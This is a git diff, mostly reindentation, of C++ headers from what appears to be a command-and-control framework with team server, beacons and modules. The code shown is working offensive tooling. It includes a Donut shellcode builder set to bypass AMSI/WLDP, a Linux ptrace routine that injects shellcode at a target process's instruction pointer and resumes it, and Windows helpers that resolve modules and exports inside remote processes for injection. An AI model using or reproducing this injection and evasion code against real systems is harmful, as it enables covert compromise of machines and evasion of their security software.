if(errorCode==ERROR_MODULE_NOT_FOUND) - errorMsg = "Error: Module not found"; - else if(errorCode==ERROR_MODULE_ALREADY_LOADED) - errorMsg = "Error: Module already loaded"; - } - return 0; - } + int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) + { + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + if(errorCode==ERROR_GENERIC) + errorMsg = "Error"; + else if(errorCode==ERROR_LISTENER_EXIST) + errorMsg = "Error: Listener already exist"; + else if(errorCode==ERROR_PORT_FORMAT) + errorMsg = "Error: Port format"; + else if(errorCode==ERROR_HASH_NOT_FOUND) + errorMsg = "Error: Hash not found"; + else if(errorCode==ERROR_LOAD_LIBRARY) + errorMsg = "Error: MemoryLoadLibrary"; + else if(errorCode==ERROR_GET_PROC_ADDRESS) + errorMsg = "Error: MemoryGetProcAddress"; + else if(errorCode==ERROR_MODULE_NOT_FOUND) + errorMsg = "Error: Module not found"; + else if(errorCode==ERROR_MODULE_ALREADY_LOADED) + errorMsg = "Error: Module already loaded"; + } + return 0; + } - int setDirectories( const std::string& teamServerModulesDirectoryPath, - const std::string& linuxModulesDirectoryPath, - const std::string& windowsModulesDirectoryPath, - const std::string& linuxBeaconsDirectoryPath, - const std::string& windowsBeaconsDirectoryPath, - const std::string& toolsDirectoryPath, - const std::string& scriptsDirectoryPath) - { - m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath; - m_linuxModulesDirectoryPath=linuxModulesDirectoryPath; - m_windowsModulesDirectoryPath=windowsModulesDirectoryPath; - m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath; - m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath; - m_toolsDirectoryPath=toolsDirectoryPath; - m_scriptsDirectoryPath=scriptsDirectoryPath; + int setDirectories( const std::string& teamServerModulesDirectoryPath, + const std::string& linuxModulesDirectoryPath, + const std::string& windowsModulesDirectoryPath, + const std::string& linuxBeaconsDirectoryPath, + const std::string& windowsBeaconsDirectoryPath, + const std::string& toolsDirectoryPath, + const std::string& scriptsDirectoryPath) + { + m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath; + m_linuxModulesDirectoryPath=linuxModulesDirectoryPath; + m_windowsModulesDirectoryPath=windowsModulesDirectoryPath; + m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath; + m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath; + m_toolsDirectoryPath=toolsDirectoryPath; + m_scriptsDirectoryPath=scriptsDirectoryPath; - return 0; - }; + return 0; + }; private: - std::vector m_commonCommands; + std::vector m_commonCommands; - std::string m_teamServerModulesDirectoryPath; + std::string m_teamServerModulesDirectoryPath; std::string m_linuxModulesDirectoryPath; std::string m_windowsModulesDirectoryPath; std::string m_linuxBeaconsDirectoryPath; diff --git a/modules/ModuleCmd/ModuleCmd.hpp b/modules/ModuleCmd/ModuleCmd.hpp index 7176b09..c8ff053 100644 --- a/modules/ModuleCmd/ModuleCmd.hpp +++ b/modules/ModuleCmd/ModuleCmd.hpp @@ -25,65 +25,65 @@ enum OSCompatibility { // class ModuleCmd { - + public: - ModuleCmd(const std::string& name, unsigned long long hash=0) - { - m_name=name; - m_hash=hash; - } + ModuleCmd(const std::string& name, unsigned long long hash=0) + { + m_name=name; + m_hash=hash; + } - ~ModuleCmd() - { + ~ModuleCmd() + { - } + } - std::string getName() - { - return m_name; - } + std::string getName() + { + return m_name; + } - unsigned long long getHash() - { - return m_hash; - } + unsigned long long getHash() + { + return m_hash; + } - int setDirectories( const std::string& teamServerModulesDirectoryPath, - const std::string& linuxModulesDirectoryPath, - const std::string& windowsModulesDirectoryPath, - const std::string& linuxBeaconsDirectoryPath, - const std::string& windowsBeaconsDirectoryPath, - const std::string& toolsDirectoryPath, - const std::string& scriptsDirectoryPath) - { - m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath; - m_linuxModulesDirectoryPath=linuxModulesDirectoryPath; - m_windowsModulesDirectoryPath=windowsModulesDirectoryPath; - m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath; - m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath; - m_toolsDirectoryPath=toolsDirectoryPath; - m_scriptsDirectoryPath=scriptsDirectoryPath; + int setDirectories( const std::string& teamServerModulesDirectoryPath, + const std::string& linuxModulesDirectoryPath, + const std::string& windowsModulesDirectoryPath, + const std::string& linuxBeaconsDirectoryPath, + const std::string& windowsBeaconsDirectoryPath, + const std::string& toolsDirectoryPath, + const std::string& scriptsDirectoryPath) + { + m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath; + m_linuxModulesDirectoryPath=linuxModulesDirectoryPath; + m_windowsModulesDirectoryPath=windowsModulesDirectoryPath; + m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath; + m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath; + m_toolsDirectoryPath=toolsDirectoryPath; + m_scriptsDirectoryPath=scriptsDirectoryPath; - return 0; - }; + return 0; + }; - virtual std::string getInfo() = 0; + virtual std::string getInfo() = 0; - // if an error ocurre: - // set_returnvalue(errorMsg) && return -1 - virtual int init(std::vector& splitedCmd, C2Message& c2Message) = 0; - virtual int initConfig(const nlohmann::json &config) {return 0;}; - virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0; - virtual int followUp(const C2Message &c2RetMessage) {return 0;}; - virtual int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) {return 0;}; - virtual int recurringExec (C2Message& c2RetMessage) {return 0;}; - virtual int osCompatibility () {return OS_NONE;}; + // if an error ocurre: + // set_returnvalue(errorMsg) && return -1 + virtual int init(std::vector& splitedCmd, C2Message& c2Message) = 0; + virtual int initConfig(const nlohmann::json &config) {return 0;}; + virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0; + virtual int followUp(const C2Message &c2RetMessage) {return 0;}; + virtual int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) {return 0;}; + virtual int recurringExec (C2Message& c2RetMessage) {return 0;}; + virtual int osCompatibility () {return OS_NONE;}; protected: - std::string m_name; - unsigned long long m_hash; + std::string m_name; + unsigned long long m_hash; - std::string m_teamServerModulesDirectoryPath; + std::string m_teamServerModulesDirectoryPath; std::string m_linuxModulesDirectoryPath; std::string m_windowsModulesDirectoryPath; std::string m_linuxBeaconsDirectoryPath; @@ -92,5 +92,5 @@ protected: std::string m_scriptsDirectoryPath; private: - + }; diff --git a/modules/ModuleCmd/Tools.hpp b/modules/ModuleCmd/Tools.hpp index dbab09e..0438e2c 100644 --- a/modules/ModuleCmd/Tools.hpp +++ b/modules/ModuleCmd/Tools.hpp @@ -4,19 +4,19 @@ #include #ifdef __linux__ - #include - #include - #include - #include - #include - #include - #include - #define __cdecl __attribute__((__cdecl__)) + #include + #include + #include + #include + #include + #include + #include + #define __cdecl __attribute__((__cdecl__)) #elif _WIN32 - #include - #include - #include - // #include + #include + #include + #include + // #include #endif @@ -28,64 +28,64 @@ // method, name of method or DLL function to invoke for .NET DLL and unmanaged DLL // param, command line to use for unmanaged DLL/EXE and .NET DLL/EXE std::string static inline creatShellCodeDonut( - std::string cmd, std::string method, std::string param, std::string& shellcode, bool exitProcess=true, bool debug=false) + std::string cmd, std::string method, std::string param, std::string& shellcode, bool exitProcess=true, bool debug=false) { - std::string result; + std::string result; - // Donut - DONUT_CONFIG c; - memset(&c, 0, sizeof(c)); + // Donut + DONUT_CONFIG c; + memset(&c, 0, sizeof(c)); - // copy input file - memcpy(c.input, cmd.c_str(), DONUT_MAX_NAME - 1); + // copy input file + memcpy(c.input, cmd.c_str(), DONUT_MAX_NAME - 1); - // default settings - c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded - c.arch = DONUT_ARCH_X84; // dual-mode (x86+amd64) - c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP fails - c.format = DONUT_FORMAT_BINARY; // default output format - c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default - c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default - c.headers = DONUT_HEADERS_OVERWRITE; - if(exitProcess) - c.exit_opt = DONUT_OPT_EXIT_PROCESS;// exit process - else - c.exit_opt = DONUT_OPT_EXIT_THREAD; // exit thread - c.thread = 0; // run entrypoint as a thread - c.unicode = 0; // command line will not be converted to unicode for unmanaged DLL function - - if(debug) - { - // debug settings - c.bypass = DONUT_BYPASS_NONE; // continues loading even if disabling AMSI/WLDP fails - c.entropy = DONUT_ENTROPY_NONE; // enable random names + symmetric encryption by default - } + // default settings + c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded + c.arch = DONUT_ARCH_X84; // dual-mode (x86+amd64) + c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP fails + c.format = DONUT_FORMAT_BINARY; // default output format + c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default + c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default + c.headers = DONUT_HEADERS_OVERWRITE; + if(exitProcess) + c.exit_opt = DONUT_OPT_EXIT_PROCESS;// exit process + else + c.exit_opt = DONUT_OPT_EXIT_THREAD; // exit thread + c.thread = 0; // run entrypoint as a thread + c.unicode = 0; // command line will not be converted to unicode for unmanaged DLL function + + if(debug) + { + // debug settings + c.bypass = DONUT_BYPASS_NONE; // continues loading even if disabling AMSI/WLDP fails + c.entropy = DONUT_ENTROPY_NONE; // enable random names + symmetric encryption by default + } - if(method.size() <= (DONUT_MAX_NAME - 1) && param.size() <= (DONUT_MAX_NAME - 1)) - { - memcpy(c.args, param.c_str(), param.size()); - memcpy(c.method, method.c_str(), method.size()); - } + if(method.size() <= (DONUT_MAX_NAME - 1) && param.size() <= (DONUT_MAX_NAME - 1)) + { + memcpy(c.args, param.c_str(), param.size()); + memcpy(c.method, method.c_str(), method.size()); + } - // generate the shellcode - int err = DonutCreate(&c); - if (err != DONUT_ERROR_OK) - { - result += "Donut Error : "; - result += DonutError(err); - result += "\n"; - return result; - } + // generate the shellcode + int err = DonutCreate(&c); + if (err != DONUT_ERROR_OK) + { + result += "Donut Error : "; + result += DonutError(err); + result += "\n"; + return result; + } - std::ifstream input(c.output, std::ios::binary); - std::string buffer(std::istreambuf_iterator(input), {}); - shellcode = buffer; + std::ifstream input(c.output, std::ios::binary); + std::string buffer(std::istreambuf_iterator(input), {}); + shellcode = buffer; - DonutDelete(&c); + DonutDelete(&c); - result = "Donut Sucess.\n"; + result = "Donut Sucess.\n"; - return result; + return result; } #endif @@ -100,75 +100,75 @@ int static inline inject_data (pid_t pid, const char *src, void *dst, int len) uint32_t *s = (uint32_t *) src; uint32_t *d = (uint32_t *) dst; - for(int i = 0; i < len; i+=4, s++, d++) - { - if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) - { - return -1; - } - } + for(int i = 0; i < len; i+=4, s++, d++) + { + if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) + { + return -1; + } + } return 0; } std::string static inline inject(int pid, const std::string& payload, bool useSyscall) { - std::string result; + std::string result; - pid_t target = pid; - - struct user_regs_struct regs; - int syscall; - long dst; + pid_t target = pid; + + struct user_regs_struct regs; + int syscall; + long dst; - result+="Tracing process:"; - result+=std::to_string(pid); - result+="\n"; - if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0) + result+="Tracing process:"; + result+=std::to_string(pid); + result+="\n"; + if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0) { - result = "Error ptrace(ATTACH): "; - result += strerror(errno); - return result; + result = "Error ptrace(ATTACH): "; + result += strerror(errno); + return result; } - result+="Waiting for process\n"; - wait (NULL); + result+="Waiting for process\n"; + wait (NULL); - result+="Getting Register\n"; - if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0) + result+="Getting Register\n"; + if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0) { - result = "Error ptrace(GETREGS): "; - result += strerror(errno); - return result; + result = "Error ptrace(GETREGS): "; + result += strerror(errno); + return result; } - - result+="Injecting shell code\n"; - if(inject_data (target, payload.data(), (void*)regs.rip, payload.size())==-1) - { - result = "Error ptrace(POKETEXT): "; - result += strerror(errno); - return result; - } - - regs.rip += 2; - - result+="Setting instruction pointer\n"; - if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0) + + result+="Injecting shell code\n"; + if(inject_data (target, payload.data(), (void*)regs.rip, payload.size())==-1) { - result = "Error ptrace(GETREGS): "; - result += strerror(errno); - return result; + result = "Error ptrace(POKETEXT): "; + result += strerror(errno); + return result; } - result+="Run it!\n"; - if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0) - { - result = "Error ptrace(DETACH): "; - result += strerror(errno); - return result; - } + regs.rip += 2; - result+="Injection success.\n"; + result+="Setting instruction pointer\n"; + if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0) + { + result = "Error ptrace(GETREGS): "; + result += strerror(errno); + return result; + } + + result+="Run it!\n"; + if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0) + { + result = "Error ptrace(DETACH): "; + result += strerror(errno); + return result; + } + + result+="Injection success.\n"; return result; } @@ -184,68 +184,68 @@ void static inline execShellCode(const std::string& payload) // std::string static inline selfInject(const std::string& payload) // { -// std::string result; +// std::string result; // std::thread t1(execShellCode, payload); -// t1.detach(); +// t1.detach(); // return result; // } int static inline launchProcess(const std::string& processToSpawn) { - std::string cmd = processToSpawn; - std::string program = "sh"; - std::string programArg = "-c"; - std::string programPath = "/bin/sh"; + std::string cmd = processToSpawn; + std::string program = "sh"; + std::string programArg = "-c"; + std::string programPath = "/bin/sh"; - pid_t pid=-1; - char *argv[] = {program.data(), programArg.data(), cmd.data(), NULL}; - int status = posix_spawn(&pid, programPath.data(), NULL, NULL, argv, NULL); - if (status == 0) - { - pid_t endID=waitpid(pid, &status, WNOHANG); + pid_t pid=-1; + char *argv[] = {program.data(), programArg.data(), cmd.data(), NULL}; + int status = posix_spawn(&pid, programPath.data(), NULL, NULL, argv, NULL); + if (status == 0) + { + pid_t endID=waitpid(pid, &status, WNOHANG); - std::cout << "pid " << pid << std::endl; - std::cout << "endID " << endID << std::endl; - } + std::cout << "pid " << pid << std::endl; + std::cout << "endID " << endID << std::endl; + } - return pid; + return pid; } std::string static inline spawnInject(const std::string& payload, const std::string& processToSpawn, bool useSyscall) { - std::string result = "TODO"; + std::string result = "TODO"; -// std::string cmd = processToSpawn; -// std::string program = "sh"; -// std::string programArg = "-c"; -// std::string programPath = "/bin/sh"; +// std::string cmd = processToSpawn; +// std::string program = "sh"; +// std::string programArg = "-c"; +// std::string programPath = "/bin/sh"; -// pid_t pid; -// char *argv[] = {program.data(), programArg.data(), cmd.data(), NULL}; -// int status; -// fflush(NULL); -// status = posix_spawn(&pid, programPath.data(), NULL, NULL, argv, NULL); -// if (status == 0) -// { -// result =+ "Process injected."; -// fflush(NULL); +// pid_t pid; +// char *argv[] = {program.data(), programArg.data(), cmd.data(), NULL}; +// int status; +// fflush(NULL); +// status = posix_spawn(&pid, programPath.data(), NULL, NULL, argv, NULL); +// if (status == 0) +// { +// result =+ "Process injected."; +// fflush(NULL); -// inject(pid, payload); +// inject(pid, payload); -// // if (waitpid(pid, &status, 0) != -1) -// // { -// // } -// // else -// // { -// // perror("waitpid"); -// // } -// } -// else -// { -// result =+ "Posix_spawn failed."; -// } +// // if (waitpid(pid, &status, 0) != -1) +// // { +// // } +// // else +// // { +// // perror("waitpid"); +// // } +// } +// else +// { +// result =+ "Posix_spawn failed."; +// } return result; } @@ -255,15 +255,15 @@ std::string static inline spawnInject(const std::string& payload, const std::str int static inline launchProcess(const std::string& processToSpawn) { - STARTUPINFO si; - PROCESS_INFORMATION pi; + STARTUPINFO si; + PROCESS_INFORMATION pi; - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); - ZeroMemory(&pi, sizeof(pi)); - CreateProcess(processToSpawn.c_str(), NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + ZeroMemory(&pi, sizeof(pi)); + CreateProcess(processToSpawn.c_str(), NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); - return pi.dwProcessId; + return pi.dwProcessId; } @@ -380,100 +380,100 @@ private: HMODULE inline GetRemoteModuleHandle(HANDLE hProcess, LPCSTR lpModuleName) { - HMODULE* ModuleArray = NULL; - DWORD ModuleArraySize = 100; - DWORD NumModules = 0; - CHAR lpModuleNameCopy[MAX_PATH] = {0}; - CHAR ModuleNameBuffer[MAX_PATH] = {0}; + HMODULE* ModuleArray = NULL; + DWORD ModuleArraySize = 100; + DWORD NumModules = 0; + CHAR lpModuleNameCopy[MAX_PATH] = {0}; + CHAR ModuleNameBuffer[MAX_PATH] = {0}; - /* Make sure we didn't get a NULL pointer for the module name */ - if(lpModuleName == NULL) - goto GRMH_FAIL_JMP; + /* Make sure we didn't get a NULL pointer for the module name */ + if(lpModuleName == NULL) + goto GRMH_FAIL_JMP; - /* Convert lpModuleName to all lowercase so the comparison isn't case sensitive */ - for (size_t i = 0; lpModuleName[i] != '\0' && i= 'A' && lpModuleName[i] <= 'Z') - lpModuleNameCopy[i] = lpModuleName[i] + 0x20; // 0x20 is the difference between uppercase and lowercase - else - lpModuleNameCopy[i] = lpModuleName[i]; + /* Convert lpModuleName to all lowercase so the comparison isn't case sensitive */ + for (size_t i = 0; lpModuleName[i] != '\0' && i= 'A' && lpModuleName[i] <= 'Z') + lpModuleNameCopy[i] = lpModuleName[i] + 0x20; // 0x20 is the difference between uppercase and lowercase + else + lpModuleNameCopy[i] = lpModuleName[i]; - lpModuleNameCopy[i+1] = '\0'; - } - - /* Allocate memory to hold the module handles */ - ModuleArray = new HMODULE[ModuleArraySize]; + lpModuleNameCopy[i+1] = '\0'; + } + + /* Allocate memory to hold the module handles */ + ModuleArray = new HMODULE[ModuleArraySize]; - /* Check if the allocation failed */ - if(ModuleArray == NULL) - goto GRMH_FAIL_JMP; + /* Check if the allocation failed */ + if(ModuleArray == NULL) + goto GRMH_FAIL_JMP; - /* Get handles to all the modules in the target process */ - if(!::EnumProcessModulesEx(hProcess, ModuleArray, ModuleArraySize * sizeof(HMODULE), &NumModules, LIST_MODULES_ALL)) - goto GRMH_FAIL_JMP; + /* Get handles to all the modules in the target process */ + if(!::EnumProcessModulesEx(hProcess, ModuleArray, ModuleArraySize * sizeof(HMODULE), &NumModules, LIST_MODULES_ALL)) + goto GRMH_FAIL_JMP; - /* We want the number of modules not the number of bytes */ - NumModules /= sizeof(HMODULE); + /* We want the number of modules not the number of bytes */ + NumModules /= sizeof(HMODULE); - /* Did we allocate enough memory for all the module handles? */ - if(NumModules > ModuleArraySize) - { - delete[] ModuleArray; // Deallocate so we can try again - ModuleArray = NULL; // Set it to NULL se we can be sure if the next try fails - ModuleArray = new HMODULE[NumModules]; // Allocate the right amount of memory + /* Did we allocate enough memory for all the module handles? */ + if(NumModules > ModuleArraySize) + { + delete[] ModuleArray; // Deallocate so we can try again + ModuleArray = NULL; // Set it to NULL se we can be sure if the next try fails + ModuleArray = new HMODULE[NumModules]; // Allocate the right amount of memory - /* Check if the allocation failed */ - if(ModuleArray == NULL) - goto GRMH_FAIL_JMP; + /* Check if the allocation failed */ + if(ModuleArray == NULL) + goto GRMH_FAIL_JMP; - ModuleArraySize = NumModules; // Update the size of the array - - /* Get handles to all the modules in the target process */ - if( !::EnumProcessModulesEx(hProcess, ModuleArray, ModuleArraySize * sizeof(HMODULE), &NumModules, LIST_MODULES_ALL) ) - goto GRMH_FAIL_JMP; + ModuleArraySize = NumModules; // Update the size of the array + + /* Get handles to all the modules in the target process */ + if( !::EnumProcessModulesEx(hProcess, ModuleArray, ModuleArraySize * sizeof(HMODULE), &NumModules, LIST_MODULES_ALL) ) + goto GRMH_FAIL_JMP; - /* We want the number of modules not the number of bytes */ - NumModules /= sizeof(HMODULE); - } + /* We want the number of modules not the number of bytes */ + NumModules /= sizeof(HMODULE); + } - /* Iterate through all the modules and see if the names match the one we are looking for */ - for(DWORD i = 0; i <= NumModules; ++i) - { - /* Get the module's name */ - ::GetModuleBaseName(hProcess, ModuleArray[i], ModuleNameBuffer, sizeof(ModuleNameBuffer)); + /* Iterate through all the modules and see if the names match the one we are looking for */ + for(DWORD i = 0; i <= NumModules; ++i) + { + /* Get the module's name */ + ::GetModuleBaseName(hProcess, ModuleArray[i], ModuleNameBuffer, sizeof(ModuleNameBuffer)); - /* Convert ModuleNameBuffer to all lowercase so the comparison isn't case sensitive */ - for (size_t j = 0; ModuleNameBuffer[j] != '\0' && j= 'A' && ModuleNameBuffer[j] <= 'Z') - ModuleNameBuffer[j] += 0x20; // 0x20 is the difference between uppercase and lowercase - } + /* Convert ModuleNameBuffer to all lowercase so the comparison isn't case sensitive */ + for (size_t j = 0; ModuleNameBuffer[j] != '\0' && j= 'A' && ModuleNameBuffer[j] <= 'Z') + ModuleNameBuffer[j] += 0x20; // 0x20 is the difference between uppercase and lowercase + } - /* Does the name match? */ - if(strstr(ModuleNameBuffer, lpModuleNameCopy) != NULL) - { - /* Make a temporary variable to hold return value*/ - HMODULE TempReturn = ModuleArray[i]; + /* Does the name match? */ + if(strstr(ModuleNameBuffer, lpModuleNameCopy) != NULL) + { + /* Make a temporary variable to hold return value*/ + HMODULE TempReturn = ModuleArray[i]; - /* Give back that memory */ - delete[] ModuleArray; + /* Give back that memory */ + delete[] ModuleArray; - /* Success */ - return TempReturn; - } + /* Success */ + return TempReturn; + } - /* Wrong module let's try the next... */ - } + /* Wrong module let's try the next... */ + } /* Uh Oh... */ GRMH_FAIL_JMP: - /* If we got to the point where we allocated memory we need to give it back */ - if(ModuleArray != NULL) - delete[] ModuleArray; + /* If we got to the point where we allocated memory we need to give it back */ + if(ModuleArray != NULL) + delete[] ModuleArray; - /* Failure... */ - return NULL; + /* Failure... */ + return NULL; } @@ -481,372 +481,372 @@ GRMH_FAIL_JMP: // TODO recode GetRemoteModuleHandle to use the peb - https://github.com/ricardojoserf/NativeDump/blob/c-flavour/NativeDump/NativeDump.cpp FARPROC inline GetRemoteProcAddress (HANDLE hProcess, HMODULE hModule, LPCSTR lpProcName, UINT Ordinal, BOOL UseOrdinal) { - BOOL Is64Bit = FALSE; - MODULEINFO RemoteModuleInfo = {0}; - UINT_PTR RemoteModuleBaseVA = 0; - IMAGE_DOS_HEADER DosHeader = {0}; - DWORD Signature = 0; - IMAGE_FILE_HEADER FileHeader = {0}; - IMAGE_OPTIONAL_HEADER64 OptHeader64 = {0}; - IMAGE_OPTIONAL_HEADER32 OptHeader32 = {0}; - IMAGE_DATA_DIRECTORY ExportDirectory = {0}; - IMAGE_EXPORT_DIRECTORY ExportTable = {0}; - UINT_PTR ExportFunctionTableVA = 0; - UINT_PTR ExportNameTableVA = 0; - UINT_PTR ExportOrdinalTableVA = 0; - DWORD* ExportFunctionTable = NULL; - DWORD* ExportNameTable = NULL; - WORD* ExportOrdinalTable = NULL; + BOOL Is64Bit = FALSE; + MODULEINFO RemoteModuleInfo = {0}; + UINT_PTR RemoteModuleBaseVA = 0; + IMAGE_DOS_HEADER DosHeader = {0}; + DWORD Signature = 0; + IMAGE_FILE_HEADER FileHeader = {0}; + IMAGE_OPTIONAL_HEADER64 OptHeader64 = {0}; + IMAGE_OPTIONAL_HEADER32 OptHeader32 = {0}; + IMAGE_DATA_DIRECTORY ExportDirectory = {0}; + IMAGE_EXPORT_DIRECTORY ExportTable = {0}; + UINT_PTR ExportFunctionTableVA = 0; + UINT_PTR ExportNameTableVA = 0; + UINT_PTR ExportOrdinalTableVA = 0; + DWORD* ExportFunctionTable = NULL; + DWORD* ExportNameTable = NULL; + WORD* ExportOrdinalTable = NULL; - /* Temporary variables not used until much later but easier - /* to define here than in all the the places they are used */ - CHAR TempChar; - BOOL Done = FALSE; + /* Temporary variables not used until much later but easier + /* to define here than in all the the places they are used */ + CHAR TempChar; + BOOL Done = FALSE; - /* Check to make sure we didn't get a NULL pointer for the name unless we are searching by ordinal */ - if(lpProcName == NULL && !UseOrdinal) - goto GRPA_FAIL_JMP; + /* Check to make sure we didn't get a NULL pointer for the name unless we are searching by ordinal */ + if(lpProcName == NULL && !UseOrdinal) + goto GRPA_FAIL_JMP; - /* Get the base address of the remote module along with some other info we don't need */ - if(!::GetModuleInformation(hProcess, hModule,&RemoteModuleInfo, sizeof(RemoteModuleInfo))) - goto GRPA_FAIL_JMP; - RemoteModuleBaseVA = (UINT_PTR)RemoteModuleInfo.lpBaseOfDll; + /* Get the base address of the remote module along with some other info we don't need */ + if(!::GetModuleInformation(hProcess, hModule,&RemoteModuleInfo, sizeof(RemoteModuleInfo))) + goto GRPA_FAIL_JMP; + RemoteModuleBaseVA = (UINT_PTR)RemoteModuleInfo.lpBaseOfDll; - /* Read the DOS header and check it's magic number */ - if(!::ReadProcessMemory(hProcess, (LPCVOID)RemoteModuleBaseVA, &DosHeader, - sizeof(DosHeader), NULL) || DosHeader.e_magic != IMAGE_DOS_SIGNATURE) - goto GRPA_FAIL_JMP; + /* Read the DOS header and check it's magic number */ + if(!::ReadProcessMemory(hProcess, (LPCVOID)RemoteModuleBaseVA, &DosHeader, + sizeof(DosHeader), NULL) || DosHeader.e_magic != IMAGE_DOS_SIGNATURE) + goto GRPA_FAIL_JMP; - /* Read and check the NT signature */ - if(!::ReadProcessMemory(hProcess, (LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew), - &Signature, sizeof(Signature), NULL) || Signature != IMAGE_NT_SIGNATURE) - goto GRPA_FAIL_JMP; - - /* Read the main header */ - if(!::ReadProcessMemory(hProcess, - (LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew + sizeof(Signature)), - &FileHeader, sizeof(FileHeader), NULL)) - goto GRPA_FAIL_JMP; + /* Read and check the NT signature */ + if(!::ReadProcessMemory(hProcess, (LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew), + &Signature, sizeof(Signature), NULL) || Signature != IMAGE_NT_SIGNATURE) + goto GRPA_FAIL_JMP; + + /* Read the main header */ + if(!::ReadProcessMemory(hProcess, + (LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew + sizeof(Signature)), + &FileHeader, sizeof(FileHeader), NULL)) + goto GRPA_FAIL_JMP; - /* Which type of optional header is the right size? */ - if(FileHeader.SizeOfOptionalHeader == sizeof(OptHeader64)) - Is64Bit = TRUE; - else if(FileHeader.SizeOfOptionalHeader == sizeof(OptHeader32)) - Is64Bit = FALSE; - else - goto GRPA_FAIL_JMP; + /* Which type of optional header is the right size? */ + if(FileHeader.SizeOfOptionalHeader == sizeof(OptHeader64)) + Is64Bit = TRUE; + else if(FileHeader.SizeOfOptionalHeader == sizeof(OptHeader32)) + Is64Bit = FALSE; + else + goto GRPA_FAIL_JMP; - if(Is64Bit) - { - /* Read the optional header and check it's magic number */ - if(!::ReadProcessMemory(hProcess, - (LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew + sizeof(Signature) + sizeof(FileHeader)), - &OptHeader64, FileHeader.SizeOfOptionalHeader, NULL) - || OptHeader64.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) - goto GRPA_FAIL_JMP; - } - else - { - /* Read the optional header and check it's magic number */ - if(!::ReadProcessMemory(hProcess, - (LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew + sizeof(Signature) + sizeof(FileHeader)), - &OptHeader32, FileHeader.SizeOfOptionalHeader, NULL) - || OptHeader32.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC) - goto GRPA_FAIL_JMP; - } + if(Is64Bit) + { + /* Read the optional header and check it's magic number */ + if(!::ReadProcessMemory(hProcess, + (LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew + sizeof(Signature) + sizeof(FileHeader)), + &OptHeader64, FileHeader.SizeOfOptionalHeader, NULL) + || OptHeader64.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) + goto GRPA_FAIL_JMP; + } + else + { + /* Read the optional header and check it's magic number */ + if(!::ReadProcessMemory(hProcess, + (LPCVOID)(RemoteModuleBaseVA + DosHeader.e_lfanew + sizeof(Signature) + sizeof(FileHeader)), + &OptHeader32, FileHeader.SizeOfOptionalHeader, NULL) + || OptHeader32.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC) + goto GRPA_FAIL_JMP; + } - /* Make sure the remote module has an export directory and if it does save it's relative address and size */ - if(Is64Bit && OptHeader64.NumberOfRvaAndSizes >= IMAGE_DIRECTORY_ENTRY_EXPORT + 1) - { - ExportDirectory.VirtualAddress = (OptHeader64.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).VirtualAddress; - ExportDirectory.Size = (OptHeader64.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).Size; - } - else if(OptHeader32.NumberOfRvaAndSizes >= IMAGE_DIRECTORY_ENTRY_EXPORT + 1) - { - ExportDirectory.VirtualAddress = (OptHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).VirtualAddress; - ExportDirectory.Size = (OptHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).Size; - } - else - goto GRPA_FAIL_JMP; + /* Make sure the remote module has an export directory and if it does save it's relative address and size */ + if(Is64Bit && OptHeader64.NumberOfRvaAndSizes >= IMAGE_DIRECTORY_ENTRY_EXPORT + 1) + { + ExportDirectory.VirtualAddress = (OptHeader64.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).VirtualAddress; + ExportDirectory.Size = (OptHeader64.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]).Size; + } + else 